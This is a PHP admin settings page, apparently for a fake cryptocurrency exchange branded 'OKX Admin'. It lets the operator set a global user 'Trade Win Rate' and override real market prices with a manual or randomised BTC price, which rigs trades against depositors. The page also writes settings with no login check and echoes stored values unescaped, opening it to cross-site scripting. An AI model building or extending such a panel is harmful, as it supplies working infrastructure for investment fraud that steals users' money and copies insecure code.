38350-vm/admin/settings.php
2026-02-11 08:19:17 +00:00

85 lines
4.4 KiB
PHP

<?php
require_once '../db/config.php';
session_start();
$db = db();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
foreach ($_POST['settings'] as $name => $value) {
$stmt = $db->prepare("INSERT INTO settings (name, value) VALUES (?, ?) ON DUPLICATE KEY UPDATE value = ?");
$stmt->execute([$name, $value, $value]);
}
$message = "Settings updated successfully.";
}
$settings_res = $db->query("SELECT * FROM settings")->fetchAll();
$settings = [];
foreach($settings_res as $s) $settings[$s['name']] = $s['value'];
?>
<!DOCTYPE html>
<html>
<head>
<title>System Settings</title>
<link rel="stylesheet" href="../assets/css/custom.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
<style>
.admin-layout { display: flex; min-height: 100vh; }
.sidebar { width: 250px; background: #1E2329; border-right: 1px solid #2B3139; padding: 1rem; }
.main-content { flex: 1; padding: 2rem; background: #0B0E11; color: white; }
.menu-item { padding: 12px; color: #848E9C; text-decoration: none; display: flex; align-items: center; gap: 10px; border-radius: 4px; margin-bottom: 5px; }
.menu-item:hover, .menu-item.active { background: #2B3139; color: white; }
.form-group { margin-bottom: 25px; background: #1E2329; padding: 20px; border-radius: 8px; border: 1px solid #2B3139; }
.form-group label { display: block; margin-bottom: 10px; color: #848E9C; }
input[type="text"], input[type="number"], select { width: 100%; padding: 10px; background: #0B0E11; border: 1px solid #2B3139; color: white; border-radius: 4px; }
</style>
</head>
<body>
<div class="admin-layout">
<div class="sidebar">
<h3 style="color: white; margin-bottom: 2rem;">OKX Admin</h3>
<a href="index.php" class="menu-item"><i class="fas fa-chart-pie"></i> Dashboard</a>
<a href="users.php" class="menu-item"><i class="fas fa-users"></i> User Management</a>
<a href="kyc.php" class="menu-item"><i class="fas fa-id-card"></i> KYC Review</a>
<a href="orders.php" class="menu-item"><i class="fas fa-wallet"></i> Deposits</a>
<a href="settings.php" class="menu-item active"><i class="fas fa-cog"></i> Settings & Control</a>
</div>
<div class="main-content">
<h2>System Control Panel</h2>
<?php if(isset($message)): ?>
<div style="background: rgba(0,255,0,0.1); color: #00ff00; padding: 15px; border-radius: 4px; margin-bottom: 20px;"><?php echo $message; ?></div>
<?php endif; ?>
<form method="POST">
<div class="form-group">
<label>Trade Win Rate (%)</label>
<input type="number" name="settings[win_rate]" value="<?php echo $settings['win_rate'] ?? 70; ?>" min="0" max="100">
<p style="font-size: 0.8rem; color: #555; margin-top: 5px;">Set the global probability for user winning in Seconds/Perpetual trades.</p>
</div>
<div class="form-group">
<label>Price Control Mode</label>
<select name="settings[price_control]">
<option value="0" <?php echo ($settings['price_control'] ?? '0') == '0' ? 'selected' : ''; ?>>Real Market (WebSocket)</option>
<option value="1" <?php echo ($settings['price_control'] ?? '0') == '1' ? 'selected' : ''; ?>>Manual Override</option>
<option value="2" <?php echo ($settings['price_control'] ?? '0') == '2' ? 'selected' : ''; ?>>Random Walk (Small Deviation)</option>
</select>
</div>
<div class="form-group">
<label>BTC Manual Price ($)</label>
<input type="number" name="settings[manual_btc_price]" value="<?php echo $settings['manual_btc_price'] ?? 0; ?>" step="0.01">
<p style="font-size: 0.8rem; color: #555; margin-top: 5px;">Used when Price Control Mode is "Manual Override". Leave 0 for auto-follow with offset.</p>
</div>
<div class="form-group">
<label>System Announcement (CN)</label>
<input type="text" name="settings[announcement_zh]" value="<?php echo $settings['announcement_zh'] ?? ''; ?>">
</div>
<button type="submit" class="btn-primary" style="padding: 12px 30px; font-weight: bold;">Save All Settings</button>
</form>
</div>
</div>
</body>
</html>